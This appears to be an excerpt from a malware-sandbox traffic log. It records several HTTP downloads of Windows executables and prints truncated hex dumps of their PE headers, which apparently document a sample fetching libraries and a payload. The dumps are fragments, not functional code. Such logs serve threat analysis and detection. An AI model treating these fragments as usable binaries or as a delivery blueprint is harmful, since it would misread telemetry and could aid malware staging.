60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 01:55:37 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 01:55:39 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 01:55:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 01:55:41 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 01:55:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 01:55:46 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 01:55:52 GMTContent-Type: application/octet-streamContent-Length: 1920512Last-Modified: Sat, 23 Nov 2024 01:53:09 GMTConnection: keep-aliveETag: "67413585-1d4e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 00 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 4c 00 00 04 00 00 79 75 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 ee 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ee 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 06 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2b 00 00 b0 06 00 00 02 00 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 